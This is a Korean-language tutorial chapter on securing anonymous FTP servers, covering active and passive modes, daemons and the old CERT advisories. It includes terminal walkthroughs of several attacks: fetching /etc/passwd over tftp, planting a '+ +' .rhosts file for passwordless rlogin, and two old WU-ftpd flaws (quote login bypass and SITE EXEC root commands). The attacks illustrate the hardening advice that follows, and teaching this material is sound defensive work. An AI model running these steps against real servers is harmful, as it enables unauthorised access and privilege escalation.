11. FTPd Security
이번에는 ftp의 보안에 대해서 알아 보려고 한다. 여기에 있는 글들은 박창민씨의
글임을 밝힌다.
http://night.i-land.net/~chang 로 가면 박창민씨의 보안에 대한
여러 글들을 볼수가 있다.
참고로, 여기서 설명하는 각종 환경설정이나, 옵션들은 각각의 사이트마다
다를 수 있으니, 자신의 환경에 알맞게 이들을 변경하여 반영할 것을 권한다.
ftp service
ftp 란 File Transfer Protocol 이며, tcp 포트 20번과 21번 포트를
사용한다. 대부분의 독자들이 이미 ftp 서비스를 많이 사용해보았을 것이기
때문에, 이곳에서 이런 ftp 서비스가 어떤 것인지에 대해서는 설명하지 않기로
하겠다.
다만, 아직까지도 ftp 서비스는 Remote Attack 의 한가지 방법으로
굉장히 심심찮게 활용되고 있으며, 많은 사이트에서 이들 anonymous ftp 서버의
관리를 제대로 못하고 있다는 사실에 유의할만 하다.
실제로, Anonymous ftp 서비스는 웹서비스의 급격한 성장으로 인해,
꽉 막힌듯한 인터넷 상에서 여전히 굉장히 빠르고 유용하게 사용될 수 있다.
하지만, 아무리 유용하게 사용될 수 있다할지라도, 보안상의 문제점으로 인하여,
서버 전체에 영향을 미친다든지, 아니면 원치않는 각종 정보들이 이를 통해서,
유출되어서는 안될 것이다.
불과 얼마전까지만 하더라도, Anonymous ftp 서비스는 Unix 운영체제를
탑재한 웍스테이션들의 전유물로만 여겨져왔었다. 하지만, Windows NT 의 등장과
개인용 PC 들이 네트웍에 물려짐으로 인해, 이들 또한 어느 정도의 성능을 발휘하는
Anonymous ftp 사이트로서의 가치를 띌 수 있게 되었다. 예를 들어, Windows
95 에서 Skynet 서버등을 이용해, Anonymous ftp 서비스를 제공할 수도 있으며,
Windows NT 의 경우 IIS 나 그외의 여러 프로그램을 통해 이러한 Anonymous
ftp 서비스를 제공할 수 있다는 것은 누구나 다 아는 사실일 것이다.
Login 에서는 이런 여러 플랫폼 중, Unix 시스템에서의 Anonymous
ftp 서버의 설치와 어떻게 이들을 안전하게 운영 및 관리할 수 있는지에 대하여
살펴본다. Unix 시스템 뿐만 아니라, 이곳에서 소개되는 내용들은 Windows NT
나 95와 같은 시스템에도 같은 맥락으로 활용될 수 있음을 명심하기 바란다.
- Server/Client
ftp 서비스는 인터넷 초창기의 몇 안되는 서비스 중 하나였으며,
그로인해 tcp 포트 21번이라는 예약된 포트를 사용하는 서버/클라이언트 모델을
띈다. 클라이언트로는 Unix 시스템의 ftp, ncftp, xftp 등과 Windows 환경에서의
WS_ftp 와 Cute_ftp 등과같은 여러 클라이언트들이 사용될 수 있다. 또한, 앞으로
자바스테이션 등이 등장하더라도, ftp 프로토콜을 이용하기만 한다면, 그들
나름대로의 새로운 클라이언트가 얼마든지 등장할 수 있다.
게다가, ftp 서비스는 전문용어로는 Reliable Stream Transport
Service 라 불리우는, connection 이 지속적으로 유지되는 형태를 띄는 서비스이므로,
tcp 프로토콜에 기반을 두게된다. 여기서 지속적인 제어를 위해 tcp 21번 포트가
사용되며, 20번 포트는 데이터가 오고가는 통로로 사용된다.
- Active mode와 Passive mode
ftp 는 기본적으로 두가지 모드를 지원한다. 이들은 active 모드와
passive 모드이다. 물론, 대부분 사용되는 ftp 모드는 active 모드이다.
기본적으로 ftp 세션은 아래의 그림과 같이 active 모드를 사용할
경우, ftp 클라이언트와 서버간의 통신은 SYN 패킷과 ACK 패킷에 의해 이루어진다.
하지만, 이럴 경우 active 모드는 Firewall 등과 같은 시스템 구성에 있어서
문제점을 야기할 수 있게 된다. 왜냐하면, Firewall 등을 사용할 경우, ftp
서버는 Firewall 을 통해 클라이언트와의 통신을 이루어야 하므로, 이런 추구상황까지
살펴보아야 하기 때문이다. 즉, 이런 문제점들을 해결하기 위해 등장한 것이
바로 passive 모드이다.
ftp 가 passive 모드로 동작될 경우의 모형은 아래의 그림과 같다.
즉, 아래에서 볼 수 있듯이, passive 모드로 동작될 경우에는 ftp 서버의 20번
포트로 클라이언트가 직접 통신할 필요가 없음을 볼 수 있을 것이다. 때문에,
Firewall 등과 같은 시스템 구축에 상당한 도움이 된다.
- Demon
대부분의 Unix 시스템에는 운영체제 상에서 제공하는 ftp 데몬이
/usr/sbin/in.ftpd 또는 /etc/ftpd 등의 형태로 존재한다. 물론, 이런 기본적인
데몬을 통해서도, Anonymous ftp 서비스 등을 제공할 수 있지만, 이런 데몬들은
속속들이 보안상의 문제점이 나타나기도 하며, 더구나 문제점이 나타나더라도
패치가 굉장히 늦게야 제공되는 경우가 허다하다. 바로 이런 점에 대한 대안으로
등장한 것이 세인트 루이스에 위치한 워싱턴 대학에서 개발한 WU-ftpd 데몬이다.
물론, 이 WU-ftpd 데몬도, 2.4까지는 SITE EXEC 나 그외의 보안상의 문제점을
갖고 있었다.
그외에도, V-ONE Firewall 과 TIS Gauntlet 개발자로 유명한 Marcus
Ranum 이 Anonymous ftp 서버 전용으로 만든 aftpd(ftp://ftp.tis.com) 등을
사용할 수도 있다.
여기서 주의할 점은 어떤 데몬을 사용할 것인지에 따라, 이들을
안전하게 운영하는 방법이 약간씩 다를 수 있다는 점이다. 또한, ftp 는 서버/클라이언트
모델로 운영된다는 것과 반드시 inetd 수퍼서버를 통해 connection 의 관리가
이루어져야 한다는 점을 명심하도록 하자.
- ftp의 아류 ftpt
tftp(Trivial File Transfer Protocol) 이란 서비스는 X 터미널이나
하드디스크가 탑재되어있지않는 Sun Microsystems 사의 ELC 등이 network 상에서
부팅가능하게끔하기위해 제안된 서비스이다. 게다가 tftp 는 UDP 포트 69번을
사용하며, 보안에 대한 고려가 전혀 없었기 때문에, 이를 통해 시스템의 /etc/passwd
파일등이 유출될 우려가 있어왔다. 단지, 이름만 ftp와 유사할 뿐, 실제로는
ftp 와 관련이 없는 tftp 도 잠깐만 간략히 짚고 넘어가기로 하겠다.
Hanterm - tftp localhost |
[ultra]:/staff/chang% tftp localhost
tftp> get /etc/passwd blah
Transfer time out.
tftp>
|
위와 같이 Transfer time out 이란 메시지나 Error code 1: File
not found 메시지가 나타나지 않고, /etc/passwd 파일을 얻어올 수 있게 된다면,
환경 설정이 제대로 된 것이 아니다. 이때에는 vendor 측에서 제공되는 최신
tftpd 버전을 설치하거나, TCP WRAPPER 를 통해, 원치않는 곳에서의 접근을
봉쇄하는 것이 바람직하다.
ftp server 운영상에 있어서 현존하는 여러 문제점
먼저, ftp 서버를 운영하는데 있어서 이제까지 발견되었던 보안상의
문제점들을 하나하나 꼽아서 살펴보기에 앞서, CERT 나 CIAC 어드바이저리에서
ftp 와 관련된 것들만 뽑아서 리스트를 살펴보면 아래와 같다.
[CERT]
CA-88:01.ftpd.hole
CA-92:09.AIX.anonymous.ftp.vulnerability
CA-93:06.wuarchive.ftpd.vulnerability
CA-94:07.wuarchive.ftpd.trojan.horse
CA-94:08.ftpd.vulnerabilities
CA-95:16.wu-ftpd.vul
[CIAC]
d-13.unix-wuarchive-ftp-daemon
d-19.anon-ftp-server-attack
e-14.wuarchive-ftpd-trojan
e-17.ftp-daemon-vulns
[AUSCERT]
AA-93.07.anonymous.ftp.Archive.Available
AA-94.01.ftpd.Configuration.Advice
AA-95.04.wu-ftpd.misconfiguration.vulnerability
AA-97.03.ftpd.signal.handling.vul
SA-93.07.anonymous.ftp.Archive.Available
SA-94.01.ftpd.Configuration.Advice
비단, 이렇게 문서화된 버그와 홀들뿐만이 아니라, 음성적으로 오고가는
exploit 코드까지 합하면, ftp 관련 버그만 하더라도 손꼽을 수 없이 엄청나다.
문제는 ftp 서비스야말로 널리 가장 알려진 서비스들 중 하나이며, 직접적으로
서버의 정보나 자원에 접근할 수 있는 서비스 형태이기 때문이다. 여기서 이제까지
ftp 서비스를 이용해 어떻게 해킹이 가능하였는지 잠깐 알아보기로 하자.
- ~ftp directory의 소유주가 ftp였다?
초기의 Anonymous ftp 서비스가 제공될 때에는 ftp 의 홈디렉토리
소유주는 당연히 ftp 였다. 또한, 이렇게 한동안 아무문제없이 사용될 수 있었다.
하지만, 아래와 같은 방법으로의 해킹이 시도됨에 따라 이는 크나큰 문제를
발생할 수 있음이 밝혀지게 되었다. 그리하여 현재의 버젼에서는 소유권이
root에게 있으며 간혹 pub directory의 그륩권한이 ftp로 되어 있는 경우가
있는데 이것 역시 root로 바꿔 주는 것이 좋다.
Hanterm |
[hacker] cat > .rhosts
+ +
^D
[hacker] cat .rhosts + + [hacker]
ftp ftp.target.com
Connected to ftp.target.com.
220 ftp FTP server (UNIX(r)System V Release 4.0) ready.
Name (ftp:hacker): anonymous
331 Guest login ok, send ident as password.
Password: hacker@shit.com
230 Guest login ok, access restrictions apply.
ftp> ls -al 200 PORT command successful.
150 ASCII data connection for /bin/ls (203.251.173.81,43930) (0 bytes).
total 18
drwxr-xr-x 8 ftp ftp 512 Dec 24 21:19 .
drwxr-xr-x 8 root other 512 Dec 24 21:19 ..
lrwxrwxrwx 1 ftp ftp 7 Sep 6 1996 bin -> usr/bin
drwxr-xr-x 2 ftp ftp 512 Sep 6 1996 dev
drwxr-xr-x 2 ftp ftp 512 Sep 6 1996 etc
drwxrwxrwx 2 ftp ftp 512 Mar 17 08:55 incoming
drwxrwxr-x 2 ftp ftp 512 Jan 11 05:31 pub
drwxr-xr-x 4 ftp ftp 512 Aug 31 1996 usr
226 ASCII Transfer complete.
remote: -al
559 bytes received in 0.071 seconds (7.7Kbytes/s)
ftp> put .rhosts
200 PORT command successful.
150 ASCII data connection for .rhosts (203.251.173.xxx,43949).
226 Transfer complete.
local: .rhosts remote: .rhosts
5 bytes sent in 0.0006 seconds (8.1 Kbytes/s)
ftp> quit
221 Goodbye.
[hacker] rlogin ftp.target.com -l ftp
SunOS Release 4.1.3-KLE1.1.3 (GENERIC_target) #2: Sat Apr
13 23:20:24 KST 1996
You have new mail.
target:/home/ftp> _
|
간략하게나마 위와같이 해킹이 자행되는 과정을 열거해보았다. 이제,
이를 자세히 한번 살펴보기로 하자. 해커는 먼저, 자기 호스트에 "+ +"
란 내용의 .rhosts 란 파일을 만들어 둔다. 그리고, ftp.target.com 이란 호스트의
Anonymous ftp 서비스에서 ftp 디렉토리의 소유주가 ftp 임을 발견하고, 쓰기
권한이 존재함을 확인한다. 이제, 해커는 ftp.target.com 에 접속하여, 이미
만들어둔 .rhosts 파일을 업로드한다. 그리고, rlogin 을 통하여, 패스워드
인증절차를 거치지않고, ftp.target.com 에 접속할 수 있게된다. 즉, 해커에게
잘못된 ftp 서비스 셋업으로 인해, 안방 열쇠를 넘겨주는 꼴이 된 것이다. 실제로,
94년에 발표된 SATAN(Security Administrator Tool for Analyzing Networks)도
역시 Remote 사이트의 Anonymous ftp 서비스의 소유주환경이 어떻게 구성되어있는지
확인하여, 이를 통해 해킹이 가능함을 알려주고 있다. 물론, ftp.target.com
의 /etc/passwd 파일에서 ftp 사용자에게 특정쉘을 주어주지 않았을 경우에는
rlogin 을 이용해 쉘을 띄울 수 없지만, 그외의 다른 수단을 통해 얼마든지
서버에 존재하는 자원에 접근할 가능성이 얼마든지 있을 수 있으므로, ftp 디렉토리의
퍼미션에 항상 주의할 필요가 있다.
- ftp 사용자가 shell을 가지고 있다?
서버의 /etc/passwd 파일에 아래와같이 ftp 사용자에게 쉘이 허용되어있다고
가정해보자.
ftp:x:500:10:Anonymous ftp User:/home/ftp:/bin/bash
이럴 경우, 앞서말한 퍼미션 문제나, 그외의 문제등으로 인해 ftp
사용자의 권한으로 시스템에 해커가 침입할 수 있는 하나의 빌미가 될 수 있다.
때문에, 위의 사항은 반드시 아래와같이 바뀌어져야 한다.
ftp:x:500:10:Anonymous ftp User:/home/ftp:/bin/false
- quote 명령을 이용해 해킹을 해보자
vendor 로부터 제공되는 /etc/ftpd 나 /usr/sbin/in.ftpd 등과같은
기본적인 서버외에 Washington 대학에서 개발된 WU-ftpd 서버가 많이 사용된다는
얘기는 앞서 했을 것이다. 하지만, 초창기의 WU-ftpd 서버 역시 보안상의 헛점이
전혀 없었던 것은 아니다. 여기에서 소개하는 내용은 WU-ftpd 2.3 버전까지
있어왔던 보안상의 문제점이다. 만일, 현재 독자들이 사용하고 있는 시스템의
WU-ftpd 가 최신버전이 아니라면, 당장 업그레이드 할 것을 권하는 바이다.
Hanterm |
[hacker] ftp -n
ftp> open ftp.target.com
Connected to ftp.target.com.
220 ftp FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd root
530 Please login with USER and PASS.
ftp> quote pass ftp
Guest login ok, access restrictions apply
ftp> ls -al /
total 1586
drwxr-xr-x 32 root 1536 Mar 2 17:21 ./
drwxr-xr-x 32 root 1536 Mar 2 17:21 ../
-rw-r--r-- 1 root 40 Sep 21 23:38 .bash_history
-rw-r--r-- 1 root 399 Oct 31 01:08 .cshrc
<생략>
|
즉, WU-ftpd 2.3 버전까지는 위와같이 quote 명령을 이용해, ftp
포트로 접근하더라도, 마치 쉘을 띄워 23번 포트로 접속한 것과 같은 효과를
얻을 수 있었다. 때문에, 해커는 위의 방법으로 서버의 정보를 마음껏 뒤져볼
수도 있었으며, Local attack 도 가능하게 되었었다. 이 문제점은 후에, WU-ftpd
제작에 있어서 chroot(2) 함수를 적절히 활용하지 못해, ftp 가 접근할 수 있는
루트디렉토리의 한계를 지어주지 못하였기 때문으로 밝혀졌으며, WU-ftpd 2.4
버전부터는 이런 문제점이 해결되었다.
- SITE EXEC 명령은 또 무엇인가?
여기에서 소개할 내용은 WU-ftpd 버전 2.4에까지 먹히던 내용이다.
자세한 내용은 아래의 예를 살펴보면서 하기로 하자.
Hanterm |
[hacker] ftp -n ftp.target.com
220 ftp FTP server ready.
Name (ftp:name): chang
Password : ********
ftp> quote "site exec bash -c id"
200 bash -c id
200 uclass="0"(root) gclass="0"(root) euclass="505"(chang)
220 (end of 'bash -c id')
ftp> quit
221 Goodbye.
[hacker] _
|
위에서 볼 수 있듯이, SITE EXEC 명령을 이용하여, 시스템에 계정을
갖고 있는 사람들은 root 권한으로 특정 명령을 수행할 수 있었다. 즉, Remote
Attack 을 가장한 Local Attack 이라고 볼 수 있는 것이다. 물론, 위의 문제점도
WU-ftpd 2.4 이후버전에서는 모두 해결되었다. 혹시라도, WU-ftpd 2.4 버전을
사용하고 있는 시스템이 있다면, 즉시 최신 WU-ftpd 버전을 구해서 설치하기
바란다.
- /etc/ftpusers file이 없다니!
Security 에 어느정도 관심을 갖고있는 독자들이라면, 분명히 스니핑(Sniffing)이나
스니퍼(sniffer) 등과 관련된 말들을 많이 들었을 것이다. 차후에, TCP/IP 강좌나
핫이슈 섹션에서도 스니핑에 대하여 언급할 것이지만, 스니핑이란 TCP/IP 프로토콜
자체의 문제점을 악용하여, 네트웍 상을 지나가는 암호화되지 않은 패킷들을
분석하여, 사용자명과 암호와 같은 중요한 내용들을 훔쳐보는 것을 가리킨다.
즉, Solaris 2.5 등과같이 remote 에서 root 계정으로 로그인할 수 없다하더라도,
만일 root 패스워드가 스니핑되었을 경우, /etc/ftpusers 항목이 적절히 설정되어
있지 않다면, 침입자는 root 계정으로 ftp 접속을 이룬뒤, 필요한 내용들을
훔쳐볼 수 있게 된다. 아래의 간단한 예를 살펴보기로 하자.
Hanterm |
[ultra]:/staff/chang% telnet arirang
Trying 203.251.173.1...
Connected to arirang.misotech.com.
Escape character is '^]'
UNIX(r) System V Release 4.0 (arirang)
login: chang
Password: ********
Last login: Wed Mar 19 21:17:46 from ultra.misotech.com
[miso]:/staff/chang% su -
Password: ********
arirang:/#id
uclass="0"(root) gclass="1"(other)
arirang:/# _
|
즉, ultra.misotech.com 에서 arirang.misotech.com 으로 바로 root
계정으로 접속하지 않았지만, chang 이란 계정으로 접속한 후, 바로 'su -'
와 같은 방법으로 root 패스워드를 입력할 경우, 이 모든 키입력은 충분히 스니핑당하고도
남는 것이다. 해커는 간단히 스니퍼를 돌리는 것만으로도 필요한 root 패스워드를
알아내어, 시스템을 공격할 수 있게 되는 것이다. 때문에, root 나 그외의 특별한
권한을 갖고 있는 계정 또는 대외적으로 감추어져야할 정보를 갖고 있는 계정들에
대해서는 아래와 같이 /etc/ftpusres 항목이 설정되어야 한다.
Hanterm |
[ultra]:/staff/chang% cat /etc/ftpusers
root
bin
sys
sendmail
uucp
smtp
chang
seoro
young
project
[ultra]:/staff/chang% _
|
- Denial of Service Attach
인터넷상에 일단 연결된 호스트라면, 그 기종에 관계없이 언제나
Denial of Service Attack 형태의 공격을 얼마든지 받을 가능성이 있다. 예를
들어서, 메일 폭탄을 보낸다든지, 아니면 특정 포트에 무한개의 패킷을 연속해서
보내는 식의 Denial of Service Attack 이 언제나 가능하기 때문이다. 앞서도
말했듯이, ftp 서비스는 디폴트로 21번 포트를 통해 커넥션이 이루어지기 때문에,
Flooder 등을 통해 tcp 포트 21번에 무한개의 패킷을 보내거나, SYN 패킷을
보낼 경우 아무 대책없이 원하는 서비스를 제공할 수 없게 된다. 이는 비단
ftp 서비스에만 해당되는 것이 아니기 때문에, 자세한 사항은 핫이슈 섹션의
TCP SYN Flooding 부분을 참고하기 바란다.
- ~ftp/etc/passwd 와 ~ftp/etc/group
과거 /etc/passwd 의 두번째 필드인 encrypted 패스워드 부분이
아래와같이 드러날 경우에는 Crack 과 같은 툴을 이용해서, 암호를 알아낼 수도
있었다.
chang:8xEf7rDebuckf:102:101:Chang-min Park:/staff/chang:/usr/bin/tcsh
물론, 요즘 나오는 대부분의 운영체제들은 shadow 패스워드를 채용하고
있으므로, 패스워드가 유출되는 경우는 별로 없을지라도, /etc/passwd 정보만으로도
침입자들의 타겟에 대한 정보가 유출될 수 있으므로, 이들 정보를 각별히 주의해서
다루어야 한다. 그럼에도 불구하고, ~ftp/etc/passwd 파일과 ~ftp/etc/group
파일에 이들 내용을 담아두어 해커들에게 이런 정보들을 고스란히 넘겨주는
경우가 현재에도 허다하게 발생하고 있다.
~ftp/etc/passwd 파일이 Anonymous ftp 서비스에서 필요한 이유는
바로, Anonymous ftp 서비스 제공 도중, 각 파일들의 해당 소유주들에 대한
정보를 제공해야할 필요가 있기 때문이다. 때문에, ~ftp/etc/passwd 파일에는
root 와 ftp 항목만 들어있어도 하등의 문제점이 없다. 그러니, ~ftp/etc/passwd
에 이외의 정보들을 담아두고 있는 호스트들은 이들을 즉시 없애기 바란다.
물론, ~ftp/etc/group 파일 또한 마찬가지이다.
안전하게 Server를 운영하자
이제까지는 ftp 서비스가 어떻게 운영되며, 이제까지 이들을 통해
어떤 유형의 공격이 자행되어왔는지, 그리고 그런 방법들을 이용해 어떤 일들이
가능했는지 알아보았다. 이 섹션에서는 이런 방법들에 대처하며, 앞으로 발생할
문제점들에 의한 피해를 최소로 하기위해 어떻게 Anonymous ftp 서비스를 운영해야하는지,
그리고 구체적으로 어떤 방법들을 써서 현재 제공되는 Anonymous ftp 서비스를
한층 안전하게 운영할 수 있는지 알아보도록 하자.
- Step by Step guide
이번에는 실제로, 독자들이 Anonymous ftp 서버를 처음부터 끝까지
설정하는 상황을 가정해서 하나씩 스텝을 밟아보며 살펴보도록 하자.
1. Anonymous ftp 서비스를 제공하려면, ftp 데몬이 있어야함은
두말해야 잔소리이며, 더불어 이들 각각의 데몬은 반드시 최신 버전이어야 함을
명심하자. 편의상 컴파일하지 않고서, 사용할 수 있는 벤더측에서 제공되는
/usr/sbin/in.ftpd 데몬을 사용하도록 하자.
2. 이제, ftp 사용자의 홈디렉토리를 정의하고 필요한 서브디렉토리들과
파일들을 만들어야 한다. 서브디렉토리를 만들때 주의해야할 점은 반드시 이들
디렉토리의 소유주가 ftp 여서는 안된다는 점이여, group 역시 ftp 가 속한
그룹에 쓰기 권한이 있어서는 안된다는 것이다. 아래의 예를 보며, 살펴보기로
하자.
Hanterm |
root:/opt/ftp> ls -al
총 14
drwxr-xr-x 6 root other 512 3월 20일 21:26 ./
drwxrwxr-x 15 root sys 512 3월 20일 20:38 ../
lrwxrwxrwx 1 root other 7 3월 20일 20:53 bin -> usr/bin/
dr-xr-xr-x 2 root other 512 3월 20일 21:08 dev /
drwxr-xr-x 2 root other 512 3월 20일 21:12 etc/
drwxr-xr-x 2 root other 512 3월 20일 20:38 pub /
drwxrwxrwt 2 root other 512 3월 20일 20:39 Incoming/
drwxr-xr-x 5 root other 512 3월 20일 21:08 usr/
root:/opt/ftp> _
|
물론, ~ftp/bin 디렉토리와 ~ftp/etc 디렉토리에 존재하는 각각의
파일들도 위와같이 ftp 소유가 아니라 root 소유로 되어있어야 안전하다.
3. ~ftp/etc/passwd 와 ~ftp/etc/group 파일들을 설치해야할 때이다.
이때 명심해야 할 점은 시스템의 /etc/passwd 와 /etc/group 를 그대로 ~ftp/etc
밑에 가져다놓아서는 안된다는 점이다. 왜냐하면, 앞서도 말했듯이, 해커가
이 파일들을 다운받아 특정 계정을 공격의 대상으로 삼을 수 있기 때문이다.
직접 이들 파일들을 만들어보면, 간단히 아래와 같이 만들어 볼 수 있다.
Hanterm |
root:/opt/ftp/etc> cat passwd
root:x:0:1:Super-User:/:/bin/csh
ftp:x:30000:30000:Anonymous FTP User:/opt/ftp:/bin/false
root:/opt/ftp/etc> cat group
root::0:root other::1:root
ftp::30000:ftp
root:/opt/ftp/etc> _
|
위와같이, ~ftp/etc/passwd 와 ~ftp/etc/group 에는 Anonymous ftp
서비스를 제공함에 있어서, 각각의 파일과 디렉토리의 소유주만 밝혀주는데
이들이 사용되므로, 그에 관계된 root 나 ftp 사용자 항목만 들어 있으면 된다는
점을 명심하자. 또한, shadow 패스워드 시스템을 제공하지 않는 곳에서는 반드시
encrypt 된 암호부분을 위의 예에서와 같이 마킹하여야 한다.
4. 이제 Anonymous ftp 서비스를 제공하기위해 시스템에 ftp 사용자를
등록해야한다. 시스템의 /etc/passwd 파일과 /etc/group 파일에 ftp 사용자를
등록시키되, 반드시 UID 와 GID 를 주의하여, ftp 사용자권한으로 디렉토리에
쓰기기능이 제공되어서는 안됨을 명심하자. 또한, 더불어 ftp 사용자에게는
쉘을 주어서는 안된다.
ftp:x:30000:30000:Anonymous ftp User:/ftp/opt:/bin/false
물론, 시스템에따라 설정을 더 맞추어두어야 할 경우도 있다. 예를
들어, Solaris 시스템의 경우 ~ftp/dev 디렉토리에 특수 디바이스 파일들을
만들어야 한다던가 하는 식의 작업을 거쳐야할지도 모른다. 이는 시스템이나
ftp 데몬의 매뉴얼페이지를 통해 해결하기 바란다. 이 정도만되어도, 어느정도
안전한 Anonymous ftp 서비스를 제공할 준비가 된 것이다. 여기에 덧붙여 필요에따라
tcp-wrapper 를 사용하여, 원하는 곳으로부터의 접속만 허락할 수도 있을 것이다.
마지막으로 도덕적 윤리적인 관점에서, Anonymous ftp 서버가 소위 Warez 사이트라
불리우며, 각종 음성적인 자료들이 오고가는 하나의 창구가 될 수 있기에, 이런
점들 또한, 주의해서 다루어야 되지 않을까 생각된다.
- Technical guide
특별히 이상에서 설명한 것보다 더 많은 정보를 원하는 독자들이
있으리라 생각되어, 아래에 유즈넷과 CERT 에서 배포된 FAQ 와 가이드문서를
제공한다.
첫번째 문서는 특별히, ISS 의 개발자로도 유명한 Christopher Klaus
가 유즈넷에 올렸던 글로써 기본적인 in.ftpd 데몬외에 WU-ftpd 를 이용하여
안전한 Anonymous ftp 서비스를 운영하는 방법에 대해 논하고 있으며, 두번째
문서는 CERT 에서 특별히 Anonymous ftp 서비스를 위한 가이드문서로 제공된
것이다.
첫째, Anonymous ftp FAQ by Christopher Klaus(링크 ftp_FAQ)
둘째, Anonymous ftp Guideline by CERT(링크 ftp_guide)
추가사항
1997년 3월 24일자로 공개되는 MISO TECH 의 Wizard 는 TCP 21번
포트에 직접 접속하여, 현재 동작중인 ftp 데몬의 버전과 널리 알려진 quote
나 SITE EXEC 버그등을 직접 확인해 본 뒤, 이들의 동작 여부를 통해 현재 시스템의
Anonymous ftp 서비스가 안전한지 아닌지의 여부를 알려준다. 만일, 위의 전체적인
과정을 거치면서 훑어볼 여유가 없는 독자들은 Wizard 공개판을 다운받아, 해당
사이트에서 이를 통해 시스템이 안전한지 아닌지의 여부를 판단하기를 권하는
바이다.
맺음
Anonymous ftp 서비스는 '정보의 공유'라는 인터넷의 기본개념을
철저히 따라주는 가장 기본적인 서비스이다. 물론, WWW 서비스도 이런 정신을
잘 반영하고 있지만, 세상에 태어나 빛을 본 시간으로 따지자면, ftp 서비스야말로
대선배가 아닌가한다. ftp 나 WWW 그리고, 인터넷 상에서 Remote 에 제공되는
많은 서비스들은 그 하나하나가 모두 해커들의 공격대상일 수 밖에 없다. 왜냐하면,
이들 서비스들은 사용하는 포트에서부터 소스코드에 이르기까지 다양한 정보들이
모두 해커들에게 노출당해있기 때문이다. 때문에, CERT 나 기타 여러 기관에서
권고하는 사항들을 그때그때 수용하여, 문제시되는 것들을 최대한 빨리 해결해나가는
것이 가장 바람직스럽지 않은가 생각된다.
>> 이전 : ftpd의 실행 및 관리명령
|